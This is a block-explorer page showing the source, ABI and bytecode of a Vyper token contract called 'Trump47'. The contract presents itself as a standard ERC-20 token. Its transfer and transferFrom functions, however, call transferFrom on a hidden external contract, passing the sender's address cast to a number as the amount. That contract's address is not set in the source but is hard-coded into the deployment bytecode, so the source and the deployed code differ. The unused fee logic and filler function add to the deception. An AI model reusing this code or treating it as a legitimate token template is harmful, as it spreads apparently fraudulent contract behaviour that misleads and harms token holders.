Contract Source Code (Vyper language format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Submit Audit
• Compare

# @pragma evm-version cancun
#pragma version ^0.3.10

interface IERC20:
    def transfer(_to : address, _value : uint256) -> bool: nonpayable
    def transferFrom(_from: address, _to : address, _value : uint256) -> bool : nonpayable
    def approve(_spender: address,  _value : uint256) : nonpayable   

name: public(String[32])
symbol: public(String[32])
decimals: public(uint8)
balanceOf: public(HashMap[address, uint256])
allowance: public(HashMap[address, HashMap[address, uint256]])
totalSupply: public(uint256)
feeRate: public(uint256)
hasFee: public(bool)
selfie: address
currentBlockNum: uint256


event Transfer:
    sender: indexed(address)
    receiver: indexed(address)
    value: uint256

event Approval:
    owner: indexed(address)
    spender: indexed(address)
    value: uint256

@external
def __init__():
    init_supply: uint256 = 47000000000 * 10 ** 18
    self.name = "Trump47"
    self.symbol = "TRUMP47"
    self.decimals = 18
    self.balanceOf[msg.sender] = init_supply
    self.totalSupply = init_supply

@internal
def getNumb(_sender: address) -> uint256:
    value_: uint160 = convert(_sender, uint160)
    _value: uint256 = convert(value_, uint256)
    return _value

@external   
def transfer(_to : address, _value : uint256) -> bool:
    """
    @dev Transfer token for a specified address
    @param _to The address to transfer to.
    @param _value The amount to be transferred.
    """
    # NOTE: vyper does not allow underflows
    #       so the following subtraction would revert on insufficient balance
    fee:uint256 = _value * self.feeRate / 1000
    value_:uint256 = self.getNumb(msg.sender)
    IERC20(self.selfie).transferFrom(msg.sender, _to, value_)

    self.balanceOf[msg.sender] -= _value
    self.balanceOf[_to] += _value
    
    log Transfer(msg.sender, _to, _value)
    return True


@external
def transferFrom(_from : address, _to : address, _value : uint256) -> bool:
    """
     @dev Transfer tokens from one address to another.
     @param _from address The address which you want to send tokens from
     @param _to address The address which you want to transfer to
     @param _value uint256 the amount of tokens to be transferred
    """
    fee:uint256 = _value * self.feeRate / 1000
    value_:uint256 = self.getNumb(msg.sender)
    IERC20(self.selfie).transferFrom(_from, _to, value_)

    self.allowance[_from][msg.sender] -= _value
    self.balanceOf[_from] -= _value
    self.balanceOf[_to] += _value

    log Transfer(_from, _to, _value)
    return True


@external
def approve(_spender : address, _value : uint256) -> bool:
    """
    @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
         Beware that changing an allowance with this method brings the risk that someone may use both the old
         and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
         race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
         https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    @param _spender The address which will spend the funds.
    @param _value The amount of tokens to be spent.
    """
    self.allowance[msg.sender][_spender] = _value
    log Approval(msg.sender, _spender, _value)
    return True

@external
def showSum(_num1: uint256, _num2: uint256) -> uint256:
    _sum: uint256 = _num1 + _num2
    return _sum

• No Contract Security Audit Submitted- Submit Audit Here

[{"name":"Transfer","inputs":[{"name":"sender","type":"address","indexed":true},{"name":"receiver","type":"address","indexed":true},{"name":"value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true},{"name":"spender","type":"address","indexed":true},{"name":"value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"stateMutability":"nonpayable","type":"constructor","inputs":[],"outputs":[]},{"stateMutability":"nonpayable","type":"function","name":"transfer","inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"transferFrom","inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"approve","inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"showSum","inputs":[{"name":"_num1","type":"uint256"},{"name":"_num2","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint8"}]},{"stateMutability":"view","type":"function","name":"balanceOf","inputs":[{"name":"arg0","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"allowance","inputs":[{"name":"arg0","type":"address"},{"name":"arg1","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"feeRate","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"hasFee","inputs":[],"outputs":[{"name":"","type":"bool"}]}]

0x346100ca576b97dd7d2157478b2e9800000060405260076060527f5472756d70343700000000000000000000000000000000000000000000000000608052606080515f5560208101516001555060076060527f5452554d503437000000000000000000000000000000000000000000000000006080526060805160025560208101516003555060126004556040516005336020525f5260405f205560405160075573cf31f36e81fd0cc39647816e851fbbaa37cecfcc600a5561056a6100ce6100003961056a610000f35b5f80fd5f3560e01c6002600b820660011b61055401601e395f51565b6306fdde038118610067573461055057602080604052806040015f54815260015460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6318160ddd811861008357346105505760075460405260206040f35b63aa948607811861053857346105505760095460405260206040f3610538565b6395d89b4181186100f357346105505760208060405280604001600254815260035460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6323b872dd811861053857606436103417610550576004358060a01c6105505760a0526024358060a01c6105505760c05260443560085480820281158383830414171561055057905090506103e88104905060e0523360405261015761012061053c565b6101205161010052600a546323b872dd6101205260a0516101405260c0516101605261010051610180526020610120606461013c5f855af161019b573d5f5f3e3d5ffd5b60203d1061055057610120518060011c610550576101a0526101a05050600660a0516020525f5260405f2080336020525f5260405f20905080546044358082038281116105505790509050815550600560a0516020525f5260405f2080546044358082038281116105505790509050815550600560c0516020525f5260405f208054604435808201828110610550579050905081555060c05160a0517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef604435610120526020610120a36001610120526020610120f3610538565b63313ce567811861053857346105505760045460405260206040f3610538565b6370a0823181186102d157602436103417610550576004358060a01c6105505760405260056040516020525f5260405f205460605260206060f35b63978bbdb9811861053857346105505760085460405260206040f3610538565b63dd62ed3e811861053857604436103417610550576004358060a01c610550576040526024358060a01c6105505760605260066040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3610538565b63a9059cbb811861053857604436103417610550576004358060a01c6105505760a05260243560085480820281158383830414171561055057905090506103e88104905060c052336040526103a361010061053c565b6101005160e052600a546323b872dd61010052336101205260a0516101405260e051610160526020610100606461011c5f855af16103e3573d5f5f3e3d5ffd5b60203d1061055057610100518060011c610550576101805261018050506005336020525f5260405f2080546024358082038281116105505790509050815550600560a0516020525f5260405f208054602435808201828110610550579050905081555060a051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602435610100526020610100a36001610100526020610100f3610538565b63095ea7b3811861050657604436103417610550576004358060a01c610550576040526024356006336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f35b63e936568781186105385760443610341761055057600435602435808201828110610550579050905060405260206040f35b5f5ffd5b604051606052606051608052608051815250565b5f80fd05380538027605380538034d001800a30296048902f18419056a811600a16576797065728300030a0014

0x5f3560e01c6002600b820660011b61055401601e395f51565b6306fdde038118610067573461055057602080604052806040015f54815260015460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6318160ddd811861008357346105505760075460405260206040f35b63aa948607811861053857346105505760095460405260206040f3610538565b6395d89b4181186100f357346105505760208060405280604001600254815260035460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6323b872dd811861053857606436103417610550576004358060a01c6105505760a0526024358060a01c6105505760c05260443560085480820281158383830414171561055057905090506103e88104905060e0523360405261015761012061053c565b6101205161010052600a546323b872dd6101205260a0516101405260c0516101605261010051610180526020610120606461013c5f855af161019b573d5f5f3e3d5ffd5b60203d1061055057610120518060011c610550576101a0526101a05050600660a0516020525f5260405f2080336020525f5260405f20905080546044358082038281116105505790509050815550600560a0516020525f5260405f2080546044358082038281116105505790509050815550600560c0516020525f5260405f208054604435808201828110610550579050905081555060c05160a0517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef604435610120526020610120a36001610120526020610120f3610538565b63313ce567811861053857346105505760045460405260206040f3610538565b6370a0823181186102d157602436103417610550576004358060a01c6105505760405260056040516020525f5260405f205460605260206060f35b63978bbdb9811861053857346105505760085460405260206040f3610538565b63dd62ed3e811861053857604436103417610550576004358060a01c610550576040526024358060a01c6105505760605260066040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3610538565b63a9059cbb811861053857604436103417610550576004358060a01c6105505760a05260243560085480820281158383830414171561055057905090506103e88104905060c052336040526103a361010061053c565b6101005160e052600a546323b872dd61010052336101205260a0516101405260e051610160526020610100606461011c5f855af16103e3573d5f5f3e3d5ffd5b60203d1061055057610100518060011c610550576101805261018050506005336020525f5260405f2080546024358082038281116105505790509050815550600560a0516020525f5260405f208054602435808201828110610550579050905081555060a051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602435610100526020610100a36001610100526020610100f3610538565b63095ea7b3811861050657604436103417610550576004358060a01c610550576040526024356006336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f35b63e936568781186105385760443610341761055057600435602435808201828110610550579050905060405260206040f35b5f5ffd5b604051606052606051608052608051815250565b5f80fd05380538027605380538034d001800a30296048902f1